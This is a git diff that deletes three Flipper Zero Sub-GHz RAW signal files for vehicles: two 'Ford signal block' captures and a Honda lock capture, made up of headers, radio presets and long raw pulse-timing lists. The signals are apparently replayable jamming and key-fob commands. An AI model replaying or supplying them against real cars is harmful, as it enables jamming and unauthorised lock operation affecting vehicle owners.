-4864 1027 -4878 1013 -4864 1025 -7764 1013 -10676 1007 -4858 1009 -4876 1017 -1968 997 -4890 1009 -4864 1003 -7772 1031 -4878 1013 -1946 1025 -7768 1009 -4900 1007 -1968 1017 -4884 993 -7750 1041 -4840 1023 -4862 1013 -1964 1011 -4880 1013 -4848 1007 -4880 1021 -7762 999 -10648 1011 -4868 995 -4888 985 -1984 1001 -4854 1027 -4846 1013 -7792 1001 -4878 1015 -1974 1009 -7760 1005 -4878 1027 -1982 1015 -4852 1007 -7800 999 -4876 1013 -4866 1025 -1978 1005 -4860 1029 -4874 1023 -4850 1023 -7772 1011 -10672 1001 -4856 1029 -4872 1011 -1984 983 -4882 1007 -4856 1031 -7752 1021 -4880 991 -1992 1013 -7754 1039 -4884 1013 -1968 999 -4888 1013 -7768 1001 -4890 1003 -4874 1011 -1986 1013 -4868 1009 -4834 1015 -4876 1015 -7760 1011 -10660 981 -4858 1037 -4838 1021 -1980 1009 -4864 1009 -4850 1003 -7754 1013 -4876 1001 -1974 1013 -7754 1003 -4888 1007 -1996 993 -4876 1035 -7764 1003 -4874 1009 -4892 993 -1984 1009 -4872 1023 -4886 989 -4870 1023 -7776 1009 -10672 999 -4888 1001 -4876 1011 -1986 983 -4890 1007 -4864 1023 -7752 1013 -4888 989 -1992 1015 -7766 1001 -4882 1005 -1994 995 -4888 1009 -7778 1007 -4882 1013 -4884 989 -1994 1011 -4866 1007 -4886 1005 -4870 1007 -7786 991 -10664 1011 -4866 999 -4844 1019 -1974 1007 -4858 1027 -4842 1015 -7764 1013 -4864 999 -1970 1009 -7774 1005 -4860 1025 -1962 1007 -4872 1025 -7768 1011 -4876 1003 -4860 1019 -1974 1023 -4892 1007 -4868 1021 -4846 1013 -7786 1025 -196452 65 -530 527 -66 297 -66 97 -198 395 -66 195 -132 821 -166 161 -2186 365 -400 99 -66 535 -100 297 -166 299 -496 365 -166 231 -166 101 -134 65 -100 1057 -132 397 -100 1417 -100 131 -98 559 -1326 893 -166 429 -166 531 \ No newline at end of file diff --git a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub b/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub deleted file mode 100644 index 8d18a3bf6..000000000 --- a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2345 -100 2009 -66 531 -66 2089 -100 11453 -130 1255 -134 1099 -68 263 -68 1325 -130 689 -66 227 -66 3059 -132 461 -132 1351 -98 949 -164 131 -66 1227 -66 365 -132 2153 -66 1957 -98 3813 -98 2837 -100 1191 -134 231 -100 297 -66 467 -132 459 -66 1701 -66 459 -164 1817 -66 1131 -100 633 -66 4855 -66 1895 -100 331 -134 927 -68 1389 -100 431 -132 761 -66 297 -134 567 -132 231 -68 2751 -132 2361 -166 1327 -132 465 -98 2493 -68 1579 -64 557 -100 10873 -66 167 -68 1623 -266 365 -100 699 -98 493 -98 2077 -66 1485 -66 525 -68 657 -66 561 -66 263 -100 427 -98 1081 -264 561 -98 2415 -66 597 -68 955 -66 1517 -100 499 -66 301 -100 857 -132 1725 -134 895 -66 567 -98 3541 -66 457 -66 921 -64 395 -66 3117 -66 1149 -66 1021 -100 3923 -66 465 -68 2153 -100 1129 -68 829 -100 199 -102 365 -66 467 -66 401 -100 1493 -198 4999 -100 2113 -98 3799 -66 961 -68 6301 -66 11103 -100 899 -66 2763 -66 329 -66 327 -98 491 -98 1357 -66 599 -134 3067 -98 361 -66 691 -100 1295 -66 997 -66 1099 -66 565 -132 629 -64 851 -100 1919 -100 1855 -100 1555 -66 1057 -100 1861 -66 429 -66 231 -134 265 -66 833 -100 765 -166 861 -66 1131 -100 693 -100 3091 -130 329 -100 429 -132 1163 -100 1259 -134 197 -68 201 -166 995 -100 469 -100 1223 -66 4671 -66 621 -100 1151 -98 2303 -66 627 -98 2937 -68 1251 -66 1263 -66 2123 -66 2319 -66 2263 -66 831 -134 267 -200 597 -100 1351 -134 1659 -100 3797 -66 161 -130 1117 -68 1163 -66 463 -98 2097 -98 855 -66 3521 -132 2587 -100 267 -134 1327 -68 1861 -132 197 -98 393 -100 1119 -98 985 -98 589 -66 2093 -66 229 -98 1343 -66 2071 -66 789 -98 295 -100 493 -98 2207 -98 393 -66 6407 -132 165 -100 601 -64 821 -66 3667 -68 3851 -66 331 -132 929 -100 1029 -100 857 -98 917 -68 1223 -100 1327 -66 531 -100 299 -68 231 -68 231 -100 561 -66 1561 -66 659 -98 535 -298 995 -66 687 -66 591 -64 489 -66 727 -66 2077 -68 399 -68 401 -66 1097 -66 1225 -66 529 -66 199 -100 623 -66 625 -66 399 -66 501 -66 635 -100 4831 -66 425 -132 2533 -98 1793 -100 265 -100 4981 -98 10135 -98 757 -100 2177 -66 1083 -66 2221 -100 267 -66 523 -66 1721 -100 303 -66 927 -66 495 -98 591 -66 1431 -132 1607 -100 2367 -98 425 -66 491 -166 5113 -66 99 -66 599 -100 597 -66 1089 -98 859 -134 2781 -100 1157 -100 333 -66 2327 -66 931 -132 995 -66 365 -66 889 -68 2459 -100 2169 -100 1957 -66 -RAW_Data: 1691 -100 37967 -66 25817 -100 6713 -66 4141 -64 34649 -66 3459 -168 20963 -98 1517 -100 2363 -66 1313 -98 817 -98 3449 -66 529 -100 1831 -134 365 -100 333 -100 5453 -132 1147 -64 15915 -66 863 -164 631 -66 697 -132 1227 -132 4411 -168 2375 -200 367 -66 531 -132 4109 -66 555 -98 3283 -100 10457 -68 1427 -132 3681 -132 1281 -98 2783 -132 65 -68 4131 -66 2859 -132 1189 -134 463 -232 563 -132 231 -100 997 -100 1919 -68 233 -68 1031 -134 429 -168 2653 -66 1095 -132 2155 -100 2463 -66 1739 -66 467 -66 1301 -98 495 -100 933 -100 497 -66 1067 -100 1159 -132 663 -66 233 -100 7585 -66 1419 -66 1027 -132 2117 -66 2217 -166 463 -132 295 -64 689 -100 1251 -100 2321 -100 231 -66 2769 -100 395 -132 4951 -66 925 -98 1019 -132 1757 -100 461 -98 1217 -64 1051 -98 1115 -98 3489 -198 2003 -66 851 -100 265 -100 1429 -100 2429 -68 7893 -100 1931 -100 165 -130 295 -100 601 -66 2365 -98 327 -66 2109 -98 491 -132 787 -100 2349 -66 363 -100 657 -66 1909 -98 2455 -66 591 -66 489 -98 755 -100 1991 -66 327 -100 3603 -98 431 -66 1557 -98 1361 -66 1419 -100 1233 -98 993 -66 819 -100 4481 -66 1721 -98 763 -66 5207 -66 3541 -134 595 -132 463 -134 1727 -98 1779 -134 1935 -98 997 -66 467 -66 3569 -98 2167 -134 885 -66 559 -98 2357 -100 897 -132 995 -132 465 -68 1357 -66 4759 -132 97 -66 627 -132 599 -66 727 -66 1711 -66 299 -119290 43173 -119076 3585 -121912 65 -1558 65 -764 65 -166 165 -332 131 -100 65 -132 67 -100 1583 -130 787 -130 1677 -66 487 -66 1149 -100 823 -66 12847 -68 927 -68 1393 -102 597 -66 1367 -132 595 -98 693 -66 2687 -166 1227 -66 1103 -98 527 -132 753 -100 789 -66 361 -64 9511 -98 3779 -168 1859 -66 269 -66 733 -66 459 -100 1825 -66 721 -130 761 -66 1661 -132 461 -100 1687 -66 753 -66 2249 -100 589 -66 1217 -164 259 -132 3047 -98 329 -66 1079 -198 1813 -98 655 -98 3841 -166 961 -134 1063 -66 295 -64 751 -132 565 -98 3681 -66 2225 -132 1619 -66 10955 -68 727 -164 559 -100 723 -100 723 -66 587 -66 225 -64 1095 -68 1529 -66 429 -66 6901 -100 1325 -66 263 -100 197 -100 1229 -66 1131 -98 1057 -134 1161 -66 2375 -68 4243 -66 1355 -66 4767 -66 2607 -66 4327 -98 593 -66 425 -66 2643 -66 399 -100 1999 -98 2209 -100 1133 -66 3589 -132 965 -98 931 -98 2595 -66 2325 -66 1429 -100 11129 -134 2177 -98 633 -66 1159 -66 1219 -100 3621 -66 1395 -66 599 -98 1609 -100 1517 -68 1225 -68 633 -66 229 -66 3785 -68 -RAW_Data: 1825 -66 4677 -98 565 -100 4625 -68 163 -66 4487 -100 2925 -66 1821 -100 2183 -66 1481 -164 595 -100 4029 -66 1097 -68 557 -98 657 -66 1399 -66 199 -66 1549 -98 1295 -66 633 -66 931 -66 501 -66 927 -100 495 -66 961 -66 1353 -166 633 -68 593 -66 9089 -66 4113 -98 11921 -66 363 -102 465 -132 3979 -134 3107 -132 1161 -100 3019 -66 1551 -66 627 -66 695 -68 2851 -134 2453 -66 197 -66 1725 -100 2289 -132 1031 -66 2393 -98 1195 -100 529 -100 1199 -132 2745 -98 819 -98 129 -66 2597 -98 2335 -130 3667 -100 2061 -100 1163 -66 1331 -66 2721 -100 1129 -66 1851 -166 267 -66 1275 -98 619 -66 1051 -66 265 -66 2423 -132 1527 -132 1425 -132 4191 -130 5553 -100 797 -66 2269 -98 1581 -100 1327 -166 525 -66 427 -100 863 -68 2617 -98 2437 -68 2013 -166 401 -66 967 -100 1227 -66 297 -66 1291 -100 631 -68 3651 -100 3675 -66 1193 -100 6915 -266 2681 -100 301 -66 6177 -166 1839 -236 1725 -98 1465 -164 1225 -100 661 -66 1489 -132 65 -98 263 -66 3955 -66 1827 -66 13147 -66 863 -66 925 -66 933 -66 1779 -64 1741 -66 3839 -66 2969 -66 691 -134 1061 -100 1483 -68 3357 -100 665 -66 4895 -98 2729 -134 429 -66 1117 -132 653 -68 2153 -66 1489 -66 293 -98 433 -66 2845 -66 2569 -230 7425 -98 11813 diff --git a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub b/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub deleted file mode 100644 index 313b72bed..000000000 --- a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1194 -98 723 -100 1195 -132 3651 -132 767 -66 1225 -100 1725 -64 851 -66 1063 -66 3149 -100 885 -98 11991 -66 593 -100 2357 -66 4005 -100 435 -66 399 -66 1657 -66 631 -66 859 -66 165 -168 9979 -134 2223 -198 2119 -100 2721 -66 595 -100 1025 -98 197 -66 719 -68 1087 -66 921 -100 2369 -66 399 -66 597 -68 301 -102 231 -234 2577 -100 1869 -68 4727 -66 2757 -66 467 -136 65 -66 695 -66 955 -100 659 -100 3297 -66 3445 -66 4469 -66 399 -64 4791 -98 557 -262 1857 -132 2379 -130 623 -100 1125 -66 1959 -66 233 -68 599 -100 897 -100 2545 -98 391 -98 731 -100 429 -98 5005 -100 831 -100 2851 -100 869 -132 1597 -134 299 -68 1527 -134 495 -98 1763 -100 365 -100 1887 -68 265 -130 1277 -66 1851 -66 2507 -98 1477 -66 2137 -100 4733 -66 1463 -66 767 -66 267 -68 699 -66 1265 -66 697 -98 657 -100 1191 -102 763 -100 2605 -100 899 -64 2017 -100 897 -66 2223 -132 3411 -100 297 -66 1573 -98 427 -100 1283 -66 12059 -100 731 -66 1729 -132 863 -98 4205 -68 1597 -68 265 -134 1027 -66 1293 -66 2561 -166 4533 -66 1987 -66 959 -100 867 -66 927 -100 2517 -66 10521 -98 2407 -428 2075 -98 197 -98 857 -98 823 -98 2975 -134 763 -100 4285 -66 4111 -66 917 -66 18279 -68 4063 -68 661 -66 265 -98 589 -64 1649 -100 1663 -64 367 -68 3053 -66 4855 -98 1251 -166 12995 -198 1379 -100 655 -66 5835 -98 1059 -98 1323 -66 1323 -66 489 -164 1089 -98 3187 -100 729 -132 3715 -66 1495 -100 761 -66 1127 -66 493 -66 337 -102 3717 -66 2493 -64 229 -66 555 -68 3993 -100 1181 -100 3063 -164 1509 -66 1707 -66 1411 -100 1547 -66 1509 -66 2067 -98 2219 -66 231 -102 1359 -100 1067 -100 1179 -64 2233 -66 1413 -66 1859 -100 12655 -100 4017 -66 1363 -100 1261 -100 2919 -98 31953 -134 1259 -130 263 -68 397 -66 401 -168 1665 -100 899 -66 297 -66 1457 -66 597 -100 5103 -100 3547 -98 11543 -66 497 -66 2443 -98 757 -100 401 -98 533 -68 1513 -100 3065 -64 557 -66 787 -66 1153 -100 399 -102 2221 -66 739 -66 431 -100 2419 -100 629 -66 901 -66 25343 -98 11813 -66 899 -66 863 -100 465 -100 2807 -132 3925 -132 1625 -66 1049 -66 1509 -100 65 -66 765 -98 201 -134 499 -100 167 -100 299 -66 1031 -132 4619 -66 865 -98 3663 -230 1725 -100 897 -66 761 -66 4329 -100 65 -98 1379 -166 659 -100 589 -66 1645 -100 1455 -100 1487 -68 2885 -66 1097 -66 365 -100 2173 -66 1617 -132 265 -66 7307 -230 14757 -68 1517 -98 1639 -66 427 -132 1787 -66 1281 -66 5133 -100 -RAW_Data: 799 -66 4125 -68 52297 -119282 43139 -119116 43113 -114714 97 -230 651 -98 229 -198 497 -66 4477 -66 3999 -66 3649 -100 2751 -298 11711 -66 555 -64 391 -130 11633 -66 565 -66 981 -66 2419 -66 265 -68 529 -66 1741 -98 1807 -98 751 -66 1185 -66 293 -64 493 -66 2275 -100 2799 -98 725 -98 15189 -64 7501 -66 561 -68 2215 -100 493 -66 3007 -98 1315 -68 1851 -68 263 -68 4103 -68 1061 -100 397 -66 457 -98 2647 -100 1225 -66 1095 -134 297 -100 233 -98 1115 -132 2605 -98 5635 -66 1623 -100 2137 -66 2017 -66 749 -66 493 -66 2559 -100 5849 -166 3989 -132 1727 -68 3521 -66 1235 -100 4817 -66 1283 -66 757 -66 25669 -66 693 -66 199 -64 325 -132 301 -232 2305 -66 2665 -198 1231 -100 4299 -66 2135 -168 723 -66 5031 -66 2265 -68 265 -132 2535 -64 991 -66 1529 -100 467 -68 2253 -100 1721 -100 5451 -98 393 -64 32379 -66 293 -66 1913 -66 401 -100 231 -100 4115 -100 597 -66 1025 -66 623 -98 1909 -66 4641 -132 985 -100 4755 -66 1061 -68 599 -164 2735 -100 999 -66 1857 -68 1359 -66 1333 -66 3535 -166 5799 -66 1417 -66 885 -66 231 -102 859 -98 299 -98 587 -100 3255 -66 2961 -66 1511 -66 325 -100 4849 -164 3027 -66 1401 -66 1057 -100 1909 -66 1259 -100 1123 -98 427 -66 1061 -66 2353 -66 265 -68 4123 -164 2235 -66 1705 -98 5771 -98 767 -66 559 -66 267 -68 1125 -66 1689 -64 2107 -200 65 -132 661 -66 4321 -162 10711 -66 8983 -98 2487 -66 1259 -66 3019 -66 2837 -100 1733 -66 2231 -66 331 -66 899 -68 331 -68 893 -66 2439 -100 497 -66 2661 -100 599 -66 3407 -68 863 -100 1015 -132 2951 -66 9213 -66 921 -132 5749 diff --git a/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub b/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub deleted file mode 100644 index ca20a6e4a..000000000 --- a/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub +++ /dev/null @@ -1,111 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433657070 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 111 -310 119 -521 71 -168 99 -1037 53 -72 85 -212 63 -201 67 -140 75 -204 78 -410 151 -56 51 -155 71 -52 61 -124 57 -205 95 -256 73 -333 77 -1251 53 -66 113 -91 104 -122 81 -82 115 -298 240 -917 124 -136 97 -156 59 -76 51 -347 69 -80 76 -507 129 -296 110 -719 65 -435 67 -283 65 -230 53 -305 83 -160 81 -106 79 -106 79 -190 77 -236 53 -54 79 -171 69 -209 65 -829 71 -596 99 -138 73 -736 81 -54 59 -236 97 -1056 53 -174 98 -408 73 -164 53 -292 53 -652 69 -222 67 -118 66 -82 103 -187 129 -157 69 -363 51 -68 118 -291 59 -446 61 -204 78 -62 67 -340 69 -257 53 -150 155 -90 61 -344 61 -287 71 -234 105 -70 53 -189 79 -217 51 -344 51 -467 71 -654 77 -124 155 -441 59 -286 51 -512 143 -322 107 -106 121 -62 53 -316 73 -178 59 -159 177 -78 77 -614 63 -126 115 -223 88 -453 59 -60 128 -348 53 -166 69 -80 97 -72 61 -204 114 -62 53 -446 63 -346 65 -406 93 -243 106 -314 53 -273 108 -90 122 -82 183 -358 148 -1228 71 -134 120 -90 75 -276 115 -439 97 -141 192 -134 116 -403 100 -86 198 -848 179 -610 107 -152 51 -68 59 -126 59 -114 51 -245 51 -80 71 -142 59 -273 67 -765 110 -162 59 -118 139 -356 124 -257 71 -379 61 -130 51 -255 80 -88 53 -1160 119 -104 105 -387 71 -147 53 -293 51 -331 80 -437 97 -60 51 -270 95 -62 116 -74 162 -90 81 -114 64 -154 141 -345 82 -211 95 -162 73 -142 78 -54 61 -226 241 -90 124 -403 83 -94 71 -52 89 -296 69 -66 147 -192 98 -130 175 -232 274 -243 67 -126 73 -260 59 -52 71 -309 71 -60 116 -121 81 -192 79 -423 95 -94 76 -121 105 -311 170 -163 59 -126 180 -192 53 -281 59 -108 103 -155 63 -481 55 -166 75 -106 106 -538 114 -938 156 -343 67 -396 69 -70 51 -84 55 -80 51 -205 67 -222 113 -208 96 -326 89 -161 53 -261 91 -54 89 -520 96 -623 53 -108 65 -1143 61 -130 105 -330 53 -98 71 -78 53 -204 133 -329 53 -343 122 -605 87 -70 150 -433 51 -749 85 -60 59 -738 68 -334 65 -152 53 -54 98 -239 89 -132 89 -104 89 -724 51 -84 75 -113 77 -114 71 -543 166 -380 81 -328 67 -1188 53 -607 59 -62 139 -286 53 -54 61 -448 57 -333 67 -274 53 -80 147 -620 53 -84 94 -124 67 -52 110 -211 57 -225 143 -62 85 -239 77 -220 69 -82 81 -300 65 -138 112 -161 59 -293 -RAW_Data: 61 -212 144 -80 81 -167 129 -443 218 -208 107 -317 53 -80 53 -134 75 -665 53 -246 155 -256 116 -216 179 -249 67 -158 53 -164 57 -267 89 -194 65 -295 53 -201 61 -460 53 -230 75 -209 51 -562 63 -144 70 -258 81 -52 69 -438 53 -118 53 -762 51 -122 53 -203 81 -72 81 -72 251 -435 55 -382 59 -240 226 -60 65 -326 75 -245 61 -54 67 -173 79 -218 63 -62 103 -196 81 -160 101 -206 129 -105 121 -108 69 -257 73 -211 73 -92 53 -72 71 -90 94 -100 61 -491 61 -156 67 -201 114 -60 73 -255 107 -174 53 -179 171 -206 63 -655 63 -72 51 -98 81 -86 153 -70 53 -775 79 -497 89 -82 124 -90 77 -118 69 -384 53 -366 51 -60 109 -73 67 -98 53 -606 59 -64 133 -82 61 -273 67 -658 57 -239 104 -209 63 -107 61 -72 63 -493 69 -72 109 -421 59 -198 59 -72 79 -92 125 -364 75 -140 88 -102 77 -210 156 -171 88 -120 51 -237 97 -90 63 -88 61 -290 124 -136 59 -216 71 -178 98 -598 61 -101 95 -477 71 -134 71 -320 180 -113 55 -412 53 -78 67 -115 95 -142 53 -327 75 -434 73 -70 113 -100 97 -206 212 -226 53 -54 115 -217 53 -96 136 -160 107 -336 191 -124 99 -90 120 -74 89 -403 73 -217 107 -128 85 -90 71 -162 83 -780 51 -333 83 -194 123 -89 53 -107 159 -64 95 -533 70 -424 53 -202 59 -120 51 -198 59 -360 59 -229 75 -192 73 -98 121 -150 75 -70 51 -280 71 -143 57 -228 144 -141 96 -125 117 -54 91 -103 75 -60 154 -72 72 -54 171 -72 89 -116 100 -72 124 -259 262 -66 75 -80 121 -664 130 -166 53 -419 63 -251 67 -181 151 -72 128 -430 80 -574 71 -332 89 -86 59 -493 161 -464 53 -153 141 -609 51 -88 55 -198 57 -259 53 -342 53 -112 53 -806 104 -125 55 -164 59 -537 167 -310 141 -180 59 -650 83 -56 63 -126 53 -381 53 -227 75 -319 112 -60 61 -339 91 -174 105 -831 71 -309 81 -343 59 -371 53 -98 79 -151 76 -532 125 -225 141 -124 81 -418 96 -269 135 -237 63 -303 51 -54 148 -96 59 -262 53 -106 67 -162 103 -120 51 -1135 61 -60 61 -823 69 -135 87 -343 87 -170 89 -54 73 -272 172 -251 53 -449 83 -426 89 -194 87 -72 81 -827 97 -126 51 -202 232 -199 81 -92 169 -265 201 -503 95 -190 132 -241 61 -506 51 -52 121 -60 105 -457 59 -98 131 -169 57 -307 226 -326 78 -134 59 -72 59 -209 61 -52 101 -226 53 -72 -RAW_Data: 87 -208 218 -284 94 -181 79 -512 127 -175 73 -570 98 -108 73 -52 55 -94 69 -217 147 -361 97 -62 61 -724 110 -80 53 -576 77 -370 135 -389 319 -378 55 -307 132 -184 98 -778 124 -383 123 -60 151 -72 213 -144 71 -54 71 -310 63 -147 85 -210 230 -144 63 -187 125 -549 198 -556 71 -170 51 -68 55 -163 75 -598 97 -203 80 -52 119 -312 127 -914 89 -492 173 -152 63 -173 89 -188 53 -649 71 -728 65 -58 71 -124 71 -262 82 -168 70 -569 89 -618 89 -76 59 -261 96 -1148 107 -328 59 -533 57 -180 69 -54 195 -289 51 -64 418 -400 89 -1106 53 -155 67 -154 69 -152 77 -54 71 -1490 75 -312 61 -158 113 -187 91 -180 103 -246 100 -498 77 -169 63 -495 61 -504 61 -228 65 -395 69 -362 79 -54 80 -78 71 -524 61 -272 97 -126 53 -64 61 -62 85 -191 80 -117 67 -82 61 -388 276 -52 143 -450 63 -97 51 -128 111 -80 117 -277 59 -153 107 -78 69 -97 55 -623 59 -208 55 -97 78 -247 63 -679 59 -352 136 -1545 51 -416 64 -323 63 -64 53 -115 53 -190 96 -60 85 -270 118 -323 53 -228 55 -92 65 -94 65 -128 59 -450 132 -96 79 -196 53 -146 105 -404 103 -937 53 -180 112 -172 143 -302 51 -219 93 -356 140 -717 86 -106 189 -154 122 -188 187 -534 75 -187 89 -375 59 -188 63 -54 51 -316 53 -146 63 -138 63 -169 51 -619 77 -634 114 -138 53 -187 59 -289 69 -387 51 -754 67 -396 96 -321 88 -56 81 -116 90 -348 79 -221 63 -126 53 -251 59 -54 71 -293 114 -116 87 -112 61 -72 107 -660 89 -255 146 -296 89 -181 86 -283 133 -460 106 -80 55 -839 53 -266 59 -122 79 -68 73 -841 99 -319 57 -413 149 -64 248 -62 134 -98 83 -232 80 -617 53 -482 61 -580 61 -345 63 -424 69 -74 142 -114 124 -151 51 -100 111 -98 53 -292 95 -372 75 -590 69 -445 67 -309 239 -523 128 -132 53 -258 63 -403 79 -108 61 -172 63 -200 88 -400 53 -70 175 -108 128 -314 82 -381 82 -255 63 -589 71 -136 63 -809 65 -56 85 -435 140 -82 71 -80 88 -54 61 -198 63 -99 85 -122 61 -124 67 -136 73 -339 71 -360 51 -217 53 -126 59 -291 78 -66 59 -288 71 -144 81 -52 114 -350 53 -335 55 -323 117 -209 53 -108 80 -158 67 -64 89 -269 67 -90 69 -364 71 -90 149 -80 51 -344 67 -625 51 -467 106 -84 79 -212 67 -96 89 -296 51 -136 99 -450 53 -52 55 -184 152 -54 -RAW_Data: 122 -207 69 -72 55 -134 124 -569 173 -160 71 -102 87 -241 156 -96 152 -347 59 -62 91 -265 76 -135 243 -258 53 -217 51 -160 79 -388 71 -303 79 -106 51 -340 124 -124 67 -294 184 -414 63 -240 146 -90 101 -471 99 -343 85 -341 57 -257 67 -110 153 -309 51 -536 73 -116 59 -116 79 -288 115 -54 53 -136 51 -149 119 -124 89 -252 193 -150 51 -167 73 -621 51 -52 95 -110 84 -508 77 -439 319 -327 184 -295 77 -114 65 -142 63 -156 118 -111 139 -235 96 -278 51 -610 63 -133 63 -72 107 -762 96 -512 133 -178 53 -238 66 -582 59 -514 61 -100 133 -278 61 -313 51 -481 76 -96 59 -54 61 -82 150 -237 51 -100 123 -106 89 -136 71 -108 89 -369 51 -171 81 -319 162 -100 125 -126 61 -72 157 -132 63 -68 75 -474 63 -340 165 -223 115 -82 53 -54 107 -161 87 -136 61 -104 53 -74 61 -318 90 -207 72 -74 51 -132 59 -562 53 -287 112 -172 132 -210 53 -194 98 -143 94 -158 79 -685 63 -334 133 -235 131 -178 89 -114 116 -118 65 -114 75 -1022 53 -318 57 -506 61 -82 53 -72 92 -80 69 -261 77 -182 79 -80 63 -54 61 -225 59 -550 130 -342 53 -1373 115 -206 53 -68 63 -758 69 -552 139 -98 51 -355 51 -650 77 -56 179 -54 51 -411 166 -339 63 -244 51 -82 71 -490 139 -111 87 -330 87 -385 112 -72 81 -394 51 -403 65 -165 57 -458 53 -378 101 -392 61 -179 61 -200 142 -326 53 -246 61 -176 134 -108 51 -121 51 -157 53 -126 69 -818 125 -102 211 -234 73 -245 61 -336 164 -458 134 -357 70 -946 177 -100 80 -413 85 -168 59 -388 53 -136 67 -301 239 -257 53 -326 120 -522 59 -78 179 -176 349 -143 114 -256 106 -54 96 -122 166 -1132 179 -281 108 -97 69 -607 180 -60 53 -54 53 -240 51 -293 79 -62 63 -196 57 -543 63 -244 61 -314 87 -289 67 -260 172 -382 89 -82 53 -376 51 -461 53 -144 119 -128 51 -290 73 -84 99 -390 59 -408 138 -428 57 -66 53 -75 59 -324 71 -134 87 -117 71 -246 68 -297 77 -352 99 -74 53 -483 69 -855 59 -52 81 -86 63 -644 87 -191 284 -116 106 -233 125 -192 57 -316 89 -88 120 -170 59 -140 125 -80 67 -136 65 -137 53 -80 53 -410 53 -54 65 -58 284 -199 77 -366 124 -215 115 -52 74 -399 83 -82 82 -54 97 -330 96 -398 156 -54 86 -269 118 -327 51 -556 75 -289 59 -124 61 -486 55 -178 84 -124 95 -300 140 -90 61 -143 -RAW_Data: 65 -150 53 -539 83 -436 51 -106 71 -322 82 -808 61 -483 71 -162 53 -180 67 -141 89 -120 103 -255 97 -1349 81 -189 81 -333 92 -425 59 -121 105 -862 53 -52 51 -70 99 -198 132 -462 77 -62 61 -64 61 -179 63 -76 189 -674 71 -222 59 -472 89 -140 83 -165 73 -234 63 -62 53 -372 59 -253 81 -1206 51 -82 110 -64 75 -78 78 -80 59 -348 61 -162 178 -74 65 -344 77 -744 73 -782 72 -132 73 -84 70 -155 65 -70 51 -86 75 -128 59 -184 61 -64 94 -287 69 -187 81 -377 91 -380 59 -641 53 -318 73 -330 55 -54 90 -668 65 -56 61 -66 75 -142 91 -104 100 -251 167 -303 250 -183 53 -306 97 -62 182 -225 114 -125 53 -157 117 -266 118 -359 63 -628 81 -128 61 -349 122 -284 134 -106 95 -415 61 -341 51 -142 102 -74 134 -119 103 -382 99 -197 82 -304 59 -64 53 -54 53 -82 129 -173 125 -90 51 -282 63 -248 51 -76 197 -147 53 -257 70 -68 67 -525 79 -247 97 -661 96 -331 51 -66 61 -62 104 -360 105 -537 91 -184 89 -89 61 -52 69 -215 110 -293 72 -703 181 -149 63 -60 88 -558 200 -153 53 -98 79 -66 57 -225 129 -345 51 -158 63 -270 63 -178 51 -395 120 -181 51 -203 67 -637 59 -135 73 -249 59 -78 97 -644 67 -150 89 -638 133 -277 77 -108 69 -144 51 -208 61 -199 69 -106 63 -104 105 -161 53 -163 160 -60 51 -222 109 -313 51 -94 170 -92 107 -119 69 -224 61 -85 109 -72 81 -144 51 -411 61 -294 81 -64 114 -100 63 -76 105 -90 130 -128 113 -550 53 -86 126 -302 118 -90 93 -114 101 -62 81 -126 59 -78 51 -128 137 -66 69 -145 95 -642 53 -349 51 -451 71 -155 143 -738 75 -420 61 -136 81 -88 71 -271 55 -78 53 -656 59 -507 80 -549 67 -122 84 -237 73 -706 71 -289 53 -195 216 -195 63 -371 65 -62 129 -173 79 -112 86 -396 205 -70 61 -90 81 -260 70 -448 106 -54 149 -80 61 -489 59 -484 75 -62 150 -98 61 -94 166 -60 97 -904 77 -158 53 -464 149 -86 176 -228 113 -210 72 -52 178 -82 97 -502 124 -299 96 -308 110 -649 55 -512 183 -171 148 -145 75 -264 51 -118 59 -226 71 -64 53 -98 129 -852 65 -74 67 -316 106 -54 205 -112 77 -351 53 -276 75 -981 61 -988 153 -148 69 -367 109 -135 104 -128 59 -232 166 -94 53 -513 63 -432 143 -281 67 -156 67 -223 51 -334 87 -410 51 -56 53 -152 113 -563 111 -92 59 -97 -RAW_Data: 73 -258 173 -166 101 -900 57 -178 71 -85 114 -211 69 -738 71 -54 65 -128 79 -72 73 -244 97 -160 103 -270 67 -369 51 -593 51 -62 135 -382 77 -306 51 -832 53 -288 63 -144 85 -241 115 -98 61 -89 112 -278 114 -488 121 -87 71 -134 100 -308 89 -179 130 -233 85 -120 51 -275 65 -72 51 -503 73 -397 162 -164 57 -92 53 -293 67 -479 53 -952 53 -82 69 -371 57 -152 63 -160 81 -582 59 -190 102 -102 115 -530 217 -76 118 -454 63 -499 53 -189 87 -299 67 -186 71 -240 98 -394 97 -430 114 -72 79 -116 88 -54 127 -152 94 -244 51 -141 51 -160 172 -64 95 -58 79 -600 59 -136 93 -74 53 -481 192 -148 61 -180 125 -124 81 -182 148 -443 186 -357 104 -600 53 -126 115 -187 53 -123 97 -72 69 -282 55 -278 63 -658 53 -223 157 -124 59 -54 53 -142 124 -478 57 -134 81 -393 63 -162 77 -128 67 -197 71 -54 79 -88 277 -233 118 -118 95 -142 51 -136 107 -531 89 -64 103 -221 97 -197 53 -64 167 -157 91 -182 51 -275 53 -315 53 -299 61 -479 71 -560 129 -542 61 -195 67 -154 118 -104 53 -401 75 -721 93 -530 77 -459 51 -104 53 -255 107 -250 59 -206 107 -1734 262 -246 122 -324 61 -118 59 -143 148 -96 142 -205 75 -78 51 -170 65 -561 97 -140 71 -713 85 -149 67 -60 65 -94 59 -230 75 -808 71 -162 101 -108 123 -58 65 -594 198 -330 184 